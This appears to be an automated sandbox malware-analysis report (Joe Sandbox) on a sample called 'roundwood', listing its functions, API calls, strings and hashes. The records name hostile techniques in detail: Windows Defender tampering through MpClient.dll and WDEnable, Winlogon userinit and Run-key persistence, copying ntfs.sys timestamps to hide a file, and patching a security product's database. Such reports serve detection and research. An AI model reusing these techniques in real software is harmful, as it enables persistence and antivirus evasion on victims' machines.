                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3C714175A006059FCB10EB98CD84DAFB7B9AF88704B248266E904FB3D0D7B5ED42CB54
                                                                                                                                                                                                            Function 004020C0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 68libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 304 4020c0-40211c memset SHGetFolderPathA 305 402187-402189 304->305 306 40211e-40213f PathAppendA SetCurrentDirectoryA 304->306 308 402192-4021a2 305->308 309 40218b-40218c FreeLibrary 305->309 306->305 307 402141-402153 LoadLibraryA 306->307 307->305 310 402155-402163 GetProcAddress 307->310 309->308 310->305 311 402165-402172 310->311 311->305
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004020FE
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402114
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040212A
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNELBASE(?), ref: 00402137
                                                                                                                                                                                                            • LoadLibraryA.KERNELBASE(MpClient.dll), ref: 00402146
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040215B
                                                                                                                                                                                                            • FreeLibrary.KERNELBASE(00000000), ref: 0040218C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
                                                                                                                                                                                                            • String ID: MpClient.dll$WDEnable$Windows Defender
                                                                                                                                                                                                            • API String ID: 1010965793-3061216624
                                                                                                                                                                                                            • Opcode ID: 7156f21b270df9d19488f98263c1b3c132659434c9e41277309e697b0c10c8f4
                                                                                                                                                                                                            • Instruction ID: 17fe50366fb736dd5c610a74938a74168bdb82ca3e71c76a348591a6388f5d5b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7156f21b270df9d19488f98263c1b3c132659434c9e41277309e697b0c10c8f4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8411D5B5900315BBC7209FA49D89FAABB7CEB48710F10027AFB05B61C0C2784E058AA8
                                                                                                                                                                                                            Function 00401DE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 66memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 313 401de0-401df5 314 401e97-401e9d 313->314 315 401dfb-401e08 call 4013c0 313->315 315->314 318 401e0e-401e19 RtlImageNtHeader 315->318 319 401e75-401e89 GetProcessHeap HeapValidate 318->319 320 401e1b-401e3c GetTickCount GetModuleHandleA 318->320 319->314 321 401e8b-401e91 GetProcessHeap HeapFree 319->321 322 401e55-401e70 call 4012e0 320->322 323 401e3e-401e4c GetProcAddress 320->323 321->314 322->319 323->322 325 401e4e 323->325 325->322
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 004013C0: CreateFileA.KERNELBASE(00402A87,80000000,00000003,00000000,00000003,00000080,00000000,755CDB30,?,00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004013E7
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401403
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetProcessHeap.KERNEL32(00000008,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401423
                                                                                                                                                                                                              • Part of subcall function 004013C0: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 0040142A
                                                                                                                                                                                                              • Part of subcall function 004013C0: memset.MSVCRT ref: 0040143D
                                                                                                                                                                                                              • Part of subcall function 004013C0: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001,?,?,?,00401E04), ref: 0040145A
                                                                                                                                                                                                              • Part of subcall function 004013C0: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00401E04), ref: 0040146A
                                                                                                                                                                                                              • Part of subcall function 004013C0: ReadFile.KERNELBASE(00000000,00000000,?,00000000,00000000,?,?,?,00401E04), ref: 00401479
                                                                                                                                                                                                              • Part of subcall function 004013C0: UnlockFile.KERNEL32(00000000,00401E04,00000000,?,00000000,?,?,?,00401E04), ref: 0040148C
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014A1
                                                                                                                                                                                                              • Part of subcall function 004013C0: HeapValidate.KERNEL32(00000000), ref: 004014A4
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014B1
                                                                                                                                                                                                              • Part of subcall function 004013C0: HeapFree.KERNEL32(00000000), ref: 004014B4
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00401E0F
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00401E23
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401E34
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401E44
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401E7E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00401E81
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401E8E
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00401E91
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$FreeValidate$AddressAllocateCountCreateHandleHeaderImageLockModulePointerProcReadSizeTickUnlockmemset
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 3168189189-3277137149
                                                                                                                                                                                                            • Opcode ID: 1044d5b8489757274fbc6076754cecbbd1deaec704c57d239c16298d4a1a6bbf
                                                                                                                                                                                                            • Instruction ID: 1ecd765bda1492a879e644bd2742a44ced4fa461e9381bf643e5a49b1714824c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1044d5b8489757274fbc6076754cecbbd1deaec704c57d239c16298d4a1a6bbf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 40112171601314EBD710ABB6ED49B9B7A989F85751B104135FB09F32E1DA38CD04CAA8
                                                                                                                                                                                                            Function 00402340 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004023D6
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 004023F6
                                                                                                                                                                                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 004023FC
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040241A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040241D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$TimeWrite$CloseCreateHandleSystem
                                                                                                                                                                                                            • String ID: \\.\pipe\acsipc_server
                                                                                                                                                                                                            • API String ID: 3225117150-898603304
                                                                                                                                                                                                            • Opcode ID: 94b1d67b28c7260292b1a7477ac8e46b5ec02ea568fbb3c68bcd621bbab052b5
                                                                                                                                                                                                            • Instruction ID: 3dcb9c770a9bbc908c19996743ce3c51c52a4f68684fd20990d5167f2ff57074
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 94b1d67b28c7260292b1a7477ac8e46b5ec02ea568fbb3c68bcd621bbab052b5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9B31E0B1C0121CABDB10DFD9D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95
                                                                                                                                                                                                            Function 00401130 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 132registryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401152
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401171
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 0040118A
                                                                                                                                                                                                            • RegCreateKeyExA.KERNELBASE(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,?,?,?,?,?,00000000), ref: 004011B0
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104,?,?,?,?,?,00000000), ref: 004011CF
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,?,?,?,?,00000000), ref: 004011DC
                                                                                                                                                                                                            • GetVolumeInformationA.KERNELBASE(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000), ref: 004011F3
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 0040120E
                                                                                                                                                                                                            • RegSetValueExA.KERNELBASE(?,?,00000000,00000001,?,00000104,755CDB30), ref: 00401275
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000102,?,?,?,?,?,?,00000000), ref: 00401294
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 004012B0
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?,?,?,?,?,?,00000000), ref: 004012BE
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000000), ref: 004012C8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • userinit, xrefs: 004012AA
                                                                                                                                                                                                            • SystemDrive, xrefs: 004011CA
                                                                                                                                                                                                            • software\microsoft\windows nt\currentversion\winlogon, xrefs: 004011A6
                                                                                                                                                                                                            • software\microsoft\windows\currentversion\run, xrefs: 0040128A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Valuememset$AdminBackslashCloseCreateEnvironmentFlushInformationOpenPathUserVariableVolume_snprintf
                                                                                                                                                                                                            • String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 1223198359-2324515132
                                                                                                                                                                                                            • Opcode ID: 8f54ca177bf132b48ff55439b3f2ba1deef55dafc0629b9cb850c6a94148175c
                                                                                                                                                                                                            • Instruction ID: 4a3cd719fa0b6a36e3fea1ee33c0aaef39b8e779ef0c2e0c240036d9f7b98d71
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8f54ca177bf132b48ff55439b3f2ba1deef55dafc0629b9cb850c6a94148175c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5341BEB164020CBFEB10DBA49DC9EEA777CEB94704F0041B9F345B6191E6B45F888BA4
                                                                                                                                                                                                            Function 00402520 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040253C
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004025A0
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004025C3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004025D8
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 004025E4
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004025F3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 004025FF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040260E
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040261A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402629
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402635
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402644
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00402647
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$PointerWrite$CloseCreateFolderHandlePath
                                                                                                                                                                                                            • String ID: \PrevxCSI\csidb.csi
                                                                                                                                                                                                            • API String ID: 606440919-2829233815
                                                                                                                                                                                                            • Opcode ID: be0fb7a0fec5371cefce781ec144b0ab90dff0a006d7a44f6523beb7c466cbb6
                                                                                                                                                                                                            • Instruction ID: 03c6ffd3b6dc1066bd99cfbbbb98c4e24752acf73b2e09b6b1ad6d20697dc7f7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: be0fb7a0fec5371cefce781ec144b0ab90dff0a006d7a44f6523beb7c466cbb6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB312A716842187EF311EB90DD9AFEA7768EB89B00F104155F304AA1D0DBF1AA45CBE9
                                                                                                                                                                                                            Function 004013C0 Relevance: 24.1, APIs: 16, Instructions: 133memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 200 4013c0-4013d0 201 4013d6-4013f2 CreateFileA 200->201 202 4014eb-4014f0 200->202 201->202 205 4013f8-401411 GetFileSizeEx 201->205 203 4014f2-4014ff IsBadWritePtr 202->203 204 40150f 202->204 206 401511-401517 203->206 207 401501-40150c 203->207 204->206 208 4014c4-4014cd 205->208 209 401417-401434 GetProcessHeap RtlAllocateHeap 205->209 208->202 210 4014cf-4014dc GetHandleInformation 208->210 211 401445-40144a 209->211 212 401436-401442 memset 209->212 210->202 213 4014de-4014e2 210->213 211->208 214 40144c-401496 SetFilePointer LockFile ReadFile UnlockFile 211->214 212->211 213->202 215 4014e4-4014e5 FindCloseChangeNotification 213->215 216 4014c1 214->216 217 401498-4014ac GetProcessHeap HeapValidate 214->217 215->202 216->208 218 4014ba 217->218 219 4014ae-4014b4 GetProcessHeap HeapFree 217->219 218->216 219->218
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(00402A87,80000000,00000003,00000000,00000003,00000080,00000000,755CDB30,?,00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004013E7
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401403
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401423
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 0040142A
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040143D
                                                                                                                                                                                                            • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001,?,?,?,00401E04), ref: 0040145A
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00401E04), ref: 0040146A
                                                                                                                                                                                                            • ReadFile.KERNELBASE(00000000,00000000,?,00000000,00000000,?,?,?,00401E04), ref: 00401479
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00401E04,00000000,?,00000000,?,?,?,00401E04), ref: 0040148C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014A1
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004014A4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014B1
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 004014B4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004014D4
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004014E5
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,00000004,755CDB30,?,00000000,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 004014F5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$Process$AllocateChangeCloseCreateFindFreeHandleInformationLockNotificationPointerReadSizeUnlockValidateWritememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 213124939-0
                                                                                                                                                                                                            • Opcode ID: 2415ac370f488f6398d7920364b1ddac94579256e75289cd9fb9599e4ac2c0e4
                                                                                                                                                                                                            • Instruction ID: 1e88e17013718af7825f0840a72b71bc919ec8abe2a586386afbdd05d1fe9019
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2415ac370f488f6398d7920364b1ddac94579256e75289cd9fb9599e4ac2c0e4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C04156B1900214BBE7219FE59D89FAFBB7CEB84B11F104125FB04B72D0D774594487A8
                                                                                                                                                                                                            Function 004019B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 93processstringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 282 4019b0-401a31 memset * 2 lstrcpynA CreateProcessA 283 401a33-401a43 282->283 284 401a8f-401a97 282->284 285 401a45-401a4e GetHandleInformation 283->285 286 401a5d-401a67 283->286 285->286 289 401a50-401a54 285->289 287 401a81-401a8c 286->287 288 401a69-401a72 GetHandleInformation 286->288 288->287 291 401a74-401a78 288->291 289->286 290 401a56-401a57 CloseHandle 289->290 290->286 291->287 292 401a7a-401a7b CloseHandle 291->292 292->287
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004019C8
                                                                                                                                                                                                            • memset.MSVCRT ref: 004019EE
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,?+@,00000104,?,?,?,755CDB30,00000000,00000000), ref: 00401A06
                                                                                                                                                                                                            • CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,755CDB30,00000000,00000000), ref: 00401A29
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?+@,?,?,?,755CDB30,00000000,00000000), ref: 00401A4A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,755CDB30,00000000,00000000), ref: 00401A57
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?+@,?,?,?,755CDB30,00000000,00000000), ref: 00401A6E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,755CDB30,00000000,00000000), ref: 00401A7B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseInformationmemset$CreateProcesslstrcpyn
                                                                                                                                                                                                            • String ID: ?+@$D
                                                                                                                                                                                                            • API String ID: 2248944234-1654856090
                                                                                                                                                                                                            • Opcode ID: 63e8d1617f7b3eb59dfa7381756486b10c89a04084b545fc1668d5111b84a648
                                                                                                                                                                                                            • Instruction ID: b4650b333af88615931ce45c43086d11ba0b8feb79f29fc85485a8f74bed1c81
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 63e8d1617f7b3eb59dfa7381756486b10c89a04084b545fc1668d5111b84a648
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C82153B2A002096FDB10DFE4DC84AEF7BBCAB54354F00417AEA05F6251D6749A45CBA4
                                                                                                                                                                                                            Function 00401EA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 76filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 293 401ea0-401ecc CreateFileA 294 401ed2-401eee GetFileTime 293->294 295 401f65-401f6a 293->295 296 401ef0-401efd GetHandleInformation 294->296 297 401f0c-401f29 CreateFileA 294->297 296->297 298 401eff-401f03 296->298 297->295 299 401f2b-401f47 SetFileTime 297->299 298->297 300 401f05-401f06 CloseHandle 298->300 299->295 301 401f49-401f56 GetHandleInformation 299->301 300->297 301->295 302 401f58-401f5c 301->302 302->295 303 401f5e-401f5f CloseHandle 302->303 303->295
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(\\?\globalroot\systemroot\system32\drivers\ntfs.sys,80000000,00000003,00000000,00000003,00000080,00000000,755CDB30,00000000,?,?,?,?,?,00402AE7,?), ref: 00401EC5
                                                                                                                                                                                                            • GetFileTime.KERNEL32(00000000,?,?,*@,?,?,?,?,?,00402AE7,?,?,?), ref: 00401EDF
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402AE7,?), ref: 00401EF5
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402AE7,?), ref: 00401F06
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,00402AE7,?), ref: 00401F22
                                                                                                                                                                                                            • SetFileTime.KERNELBASE(00000000,?,?,*@,?,?,?,?,?,00402AE7,?), ref: 00401F38
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402AE7,?), ref: 00401F4E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402AE7,?), ref: 00401F5F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHandle$CloseCreateInformationTime
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\drivers\ntfs.sys$*@
                                                                                                                                                                                                            • API String ID: 1046229350-2079472752
                                                                                                                                                                                                            • Opcode ID: debd997a1ae25e968ba5f195e8076c6c73cac294b2f06de3a557e421d3efc3a2
                                                                                                                                                                                                            • Instruction ID: 505fd7f37fca788128ae4fd827e8faf93d8922700b858b40f06f957d70fc4d32
                                                                                                                                                                                                            • Opcode Fuzzy Hash: debd997a1ae25e968ba5f195e8076c6c73cac294b2f06de3a557e421d3efc3a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FA21967250021876D7219B64DC49FEFBB6CAF98750F144225FF01B61E0D7B45A4586E8
                                                                                                                                                                                                            Function 00401520 Relevance: 13.6, APIs: 9, Instructions: 66fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401F70,?,0000001C), ref: 0040154F
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00401565
                                                                                                                                                                                                            • PathFileExistsA.KERNELBASE(?), ref: 00401572
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?,00000000), ref: 00401589
                                                                                                                                                                                                            • GetTempFileNameA.KERNELBASE(?,00000000,00000000,?), ref: 004015A1
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 004015BD
                                                                                                                                                                                                            • SetFileAttributesA.KERNELBASE(?,00000000), ref: 004015CC
                                                                                                                                                                                                            • DeleteFileA.KERNELBASE(?), ref: 004015D9
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004015ED
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$MoveNamePathTemp$AttributesDeleteExistsModuleQueryVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2787354276-0
                                                                                                                                                                                                            • Opcode ID: 3973d0feee2bd4d46e794484f13dae327776c0d4aca43c2d9e078c91308a651e
                                                                                                                                                                                                            • Instruction ID: 1f2af84f05926cbb5e0b354959f29bdceae47d8b45da359f5ec46e55e0df53d3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3973d0feee2bd4d46e794484f13dae327776c0d4aca43c2d9e078c91308a651e
